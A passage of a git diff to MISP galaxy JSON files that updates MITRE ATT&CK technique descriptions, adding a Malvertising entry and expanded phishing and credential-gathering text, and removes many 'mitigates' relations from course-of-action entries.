+28403,7 @@ "https://attack.mitre.org/techniques/T1584/001", "https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover", "https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/", + "https://unit42.paloaltonetworks.com/domain-shadowing/", "https://www.icann.org/groups/ssac/documents/sac-007-en" ] }, @@ -28231,7 +28574,7 @@ "value": "Malware - T1588.001" }, { - "description": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "description": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Adversaries may also purchase credentials from dark web or other black-markets. Finally, where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ", "meta": { "external_id": "T1589.001", "kill_chain": [ @@ -28246,6 +28589,7 @@ "https://github.com/dxa4481/truffleHog", "https://github.com/michenriksen/gitrob", "https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/", + "https://sec.okta.com/scatterswine", "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/", "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196", "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/", @@ -28307,7 +28651,6 @@ "refs": [ "http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion", "https://attack.mitre.org/techniques/T1542/003", - "https://capec.mitre.org/data/definitions/552.html", "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf" ] }, @@ -28459,7 +28802,7 @@ "value": "Tool - T1588.002" }, { - "description": "Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.\n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)", + "description": "Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Adversaries may use web servers to support support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations.\n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)", "meta": { "external_id": "T1583.004", "kill_chain": [ @@ -28534,7 +28877,6 @@ "https://adsecurity.org/?p=2293", "https://attack.mitre.org/techniques/T1558/003", "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/", - "https://capec.mitre.org/data/definitions/509.html", "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1", "https://msdn.microsoft.com/library/ms677949.aspx", "https://redsiege.com/kerberoast-slides", @@ -28581,7 +28923,38 @@ "value": "Serverless - T1583.007" }, { - "description": "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).", + "description": "Adversaries may purchase online advertisements that can be abused to distribute malware to victims. Ads can be purchased to plant as well as favorably position artifacts in specific locations online, such as prominently placed within search engine results. These ads may make it more difficult for users to distinguish between actual search results and advertisements.(Citation: spamhaus-malvertising) Purchased ads may also target specific audiences using the advertising network’s capabilities, potentially further taking advantage of the trust inherently given to search engines and popular websites. \n\nAdversaries may purchase ads and other resources to help distribute artifacts containing malicious code to victims. Purchased ads may attempt to impersonate or spoof well-known brands. For example, these spoofed ads may trick victims into clicking the ad which could then send them to a malicious domain that may be a clone of official websites containing trojanized versions of the advertised software.(Citation: Masquerads-Guardio)(Citation: FBI-search) Adversary’s efforts to create malicious domains and purchase advertisements may also be automated at scale to better resist cleanup efforts.(Citation: sentinelone-malvertising) \n\nMalvertising may be used to support [Drive-by Target](https://attack.mitre.org/techniques/T1608/004) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), potentially requiring limited interaction from the user if the ad contains code/exploits that infect the target system's web browser.(Citation: BBC-malvertising)\n\nAdversaries may also employ several techniques to evade detection by the advertising network. For example, adversaries may dynamically route ad clicks to send automated crawler/policy enforcer traffic to benign sites while validating potential targets then sending victims referred from real ad clicks to malicious pages. This infection vector may therefore remain hidden from the ad network as well as any visitor not reaching the malicious sites with a valid identifier from clicking on the advertisement.(Citation: Masquerads-Guardio) Other tricks, such as intentional typos to avoid brand reputation monitoring, may also be used to evade automated detection.(Citation: spamhaus-malvertising) ", + "meta": { + "external_id": "T1583.008", + "kill_chain": [ + "mitre-attack:resource-development" + ], + "mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "mitre_platforms": [ + "PRE" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1583/008", + "https://labs.guard.io/masquerads-googles-ad-words-massively-abused-by-threat-actors-targeting-organizations-gpus-42ae73ee8a1e", + "https://www.bbc.com/news/technology-12891182", + "https://www.ic3.gov/Media/Y2022/PSA221221", + "https://www.sentinelone.com/blog/breaking-down-the-seo-poisoning-attack-how-attackers-are-hijacking-search-results/", + "https://www.spamhaus.com/resource-center/a-surge-of-malvertising-across-google-ads-is-distributing-dangerous-malware/" + ] + }, + "related": [ + { + "dest-uuid": "0458aab9-ad42-4eac-9e22-706a95bafee2", + "type": "subtechnique-of" + } + ], + "uuid": "155207c0-7f53-4f13-a06b-0a9907ef5096", + "value": "Malvertising - T1583.008" + }, + { + "description": "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations.\n\nAdversaries may also compromise web servers to support watering hole operations, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or email servers to support [Phishing](https://attack.mitre.org/techniques/T1566) operations.", "meta": { "external_id": "T1584.004", "kill_chain": [ @@ -29141,7 +29514,6 @@ "refs": [ "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf", "https://attack.mitre.org/techniques/T1014", - "https://capec.mitre.org/data/definitions/552.html", "https://en.wikipedia.org/wiki/Rootkit", "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/", "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf" @@ -29324,7 +29696,6 @@ "refs": [ "http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf", "https://attack.mitre.org/techniques/T1036", - "https://capec.mitre.org/data/definitions/177.html", "https://lolbas-project.github.io/", "https://twitter.com/ItsReallyNick/status/1055321652777619457" ] @@ -29893,7 +30264,7 @@ "value": "DNSCalc - T1324" }, { - "description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.", + "description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce) \n\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools onto their computer (i.e., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: Unit42 Luna Moth)", "meta": { "external_id": "T1566", "kill_chain": [ @@ -29915,9 +30286,15 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1566", - "https://capec.mitre.org/data/definitions/98.html", + "https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends", + "https://blog.sygnia.co/luna-moth-false-subscription-scams", "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide", - "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf" + "https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/", + "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/", + "https://www.cisa.gov/uscert/ncas/alerts/aa23-025a", + "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf", + "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/", + "https://www.proofpoint.com/us/threat-reference/email-spoofing" ] }, "uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", @@ -29953,5 +30330,5 @@ "value": "Keychain - T1579" } ], - "version": 24 + "version": 25 } diff --git a/clusters/mitre-course-of-action.json b/clusters/mitre-course-of-action.json index e78f3c3..9434f17 100644 --- a/clusters/mitre-course-of-action.json +++ b/clusters/mitre-course-of-action.json @@ -22,15 +22,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "8b36d944-f274-4d46-9acd-dbba6927ce7a", "value": "Registry Run Keys / Startup Folder Mitigation - T1060" }, @@ -43,15 +35,7 @@ "https://attack.mitre.org/mitigations/T1041" ] }, - "related": [ - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "92c28497-2820-445e-9f3e-a03dd77dc0c8", "value": "Exfiltration Over Command and Control Channel Mitigation - T1041" }, @@ -65,15 +49,7 @@ "https://www.techrepublic.com/blog/data-center/configuring-wireless-settings-via-group-policy/" ] }, - "related": [ - { - "dest-uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "a98be93b-a75b-4dd4-8a72-4dfd0b5e25bb", "value": "Exfiltration Over Other Network Medium Mitigation - T1011" }, @@ -100,13 +76,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "tags": [ @@ -135,13 +104,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "215190a9-9f02-4e83-bb5f-e0589965a302", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ @@ -149,13 +111,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2892b9ee-ca9f-4723-b332-0dc6e843a8ae", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", "tags": [ @@ -205,6 +160,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "4a5b7ade-8bb5-4853-84ed-23f262002665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49", "tags": [ @@ -219,13 +181,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", "tags": [ @@ -275,13 +230,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6a3be63a-64c5-4678-a036-03ff8fc35300", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4", "tags": [ @@ -303,13 +251,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "79a47ad0-fc3b-4821-9f01-a026b1ddba21", "tags": [ @@ -318,7 +259,7 @@ "type": "mitigates" }, { - "dest-uuid": "7d6f590f-544b-45b4-9a42-e0805f342af3", + "dest-uuid": "7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -345,13 +286,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "808e6329-ca91-4b87-ac2d-8eadc5f8f327", "tags": [ @@ -394,13 +328,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", "tags": [ @@ -429,20 +356,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "c48a67ee-b657-45c1-91bf-6cdbe27205f8", "tags": [ @@ -485,13 +398,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d376668f-b208-42de-b1f5-fdfe0ad4b753", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "d456de47-a16f-4e46-8980-e67478a12dcb", "tags": [ @@ -555,27 +461,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ @@ -624,6 +509,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "19bf235b-8620-4997-b5b4-94e0659ed7c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "28abec6c-4443-4b03-8206-07f2e264a6b4", "tags": [ @@ -632,14 +524,14 @@ "type": "mitigates" }, { - "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" }, { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -673,20 +565,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "cabe189c-a0e3-4965-a473-dcff00f17213", "tags": [ @@ -739,15 +617,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "d9727aee-48b8-4fdb-89e2-4c49746ba4dd", "value": "Data from Network Shared Drive Mitigation - T1039" }, @@ -760,15 +630,7 @@ "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" ] }, - "related": [ - { - "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "0bc3ce00-83bc-4a92-a042-79ffbc6af259", "value": "Windows Management Instrumentation Event Subscription Mitigation - T1084" }, @@ -781,15 +643,7 @@ "https://attack.mitre.org/mitigations/T1094" ] }, - "related": [ - { - "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "f3d0c735-330f-43c2-8e8e-51bcfa51e8c3", "value": "Custom Command and Control Protocol Mitigation - T1094" }, @@ -805,15 +659,7 @@ "https://attack.mitre.org/mitigations/T1183" ] }, - "related": [ - { - "dest-uuid": "62166220-e498-410f-a90a-19d4339d4e99", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "33f76731-b840-446f-bee0-53687dad24d9", "value": "Image File Execution Options Injection Mitigation - T1183" }, @@ -826,15 +672,7 @@ "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf" ] }, - "related": [ - { - "dest-uuid": "72b5ef57-325c-411b-93ca-a3ca6fa17e31", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "ef273807-c465-4728-9cee-5823422f42ee", "value": "SIP and Trust Provider Hijacking Mitigation - T1198" }, @@ -847,15 +685,7 @@ "https://attack.mitre.org/mitigations/T1095" ] }, - "related": [ - { - "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "399d9038-b100-43ef-b28d-a5065106b935", "value": "Standard Non-Application Layer Protocol Mitigation - T1095" }, @@ -872,15 +702,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "d01f473f-3cdc-4867-9e55-1de9cf1986f0", "value": "Deobfuscate/Decode Files or Information Mitigation - T1140" }, @@ -969,15 +791,7 @@ "https://attack.mitre.org/mitigations/T1030" ] }, - "related": [ - { - "dest-uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "ba06d68a-4891-4eb5-b634-152e05ec60ee", "value": "Data Transfer Size Limits Mitigation - T1030" }, @@ -994,15 +808,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "7ee0879d-ce4f-4f54-a96b-c532dfb98ffd", "value": "Data from Local System Mitigation - T1005" }, @@ -1019,15 +825,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "902286b2-96cc-4dd7-931f-e7340c9961da", "value": "File System Logical Offsets Mitigation - T1006" }, @@ -1051,29 +849,7 @@ "https://attack.mitre.org/mitigations/T1070" ] }, - "related": [ - { - "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "6cac62ce-550b-4793-8ee6-6a1b8836edb0", "value": "Indicator Removal on Host Mitigation - T1070" }, @@ -1088,15 +864,7 @@ "https://en.wikipedia.org/wiki/Control-flow_integrity" ] }, - "related": [ - { - "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "14b63e6b-7531-4476-9e60-02cc5db48b62", "value": "Exploitation of Remote Services Mitigation - T1210" }, @@ -1113,15 +881,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "684feec3-f9ba-4049-9d8f-52d52f3e0e40", "value": "System Network Configuration Discovery Mitigation - T1016" }, @@ -1140,15 +900,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "effb83a0-ead1-4b36-b7f6-b7bdf9c4616e", "value": "Replication Through Removable Media Mitigation - T1091" }, @@ -1161,13 +913,6 @@ ] }, "related": [ - { - "dest-uuid": "01df3350-ce05-4bdf-bdf8-0a919a66d4a8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334", "tags": [ @@ -1182,13 +927,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "0bf78622-e8d2-41da-a857-731472d61a92", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "0c2d00da-7742-49e7-9928-4514e5075d32", "tags": [ @@ -1203,13 +941,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "0fff2797-19cb-41ea-a5f1-8a9303b8158e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", "tags": [ @@ -1252,13 +983,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36", "tags": [ @@ -1266,13 +990,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2e0dd10b-676d-4964-acd0-8a404c92b044", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "3298ce88-1628-43b1-87d9-0b5336b193d7", "tags": [ @@ -1371,13 +1088,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "58af3705-8740-4c68-9329-ec015a7013c2", "tags": [ @@ -1420,13 +1130,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4", "tags": [ @@ -1434,20 +1137,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "723e3a2b-ca0d-4daa-ada8-82ea35d3733a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "72b5ef57-325c-411b-93ca-a3ca6fa17e31", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da", "tags": [ @@ -1462,13 +1151,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ @@ -1477,14 +1159,7 @@ "type": "mitigates" }, { - "dest-uuid": "8df54627-376c-487c-a09c-7d2b5620f56e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": 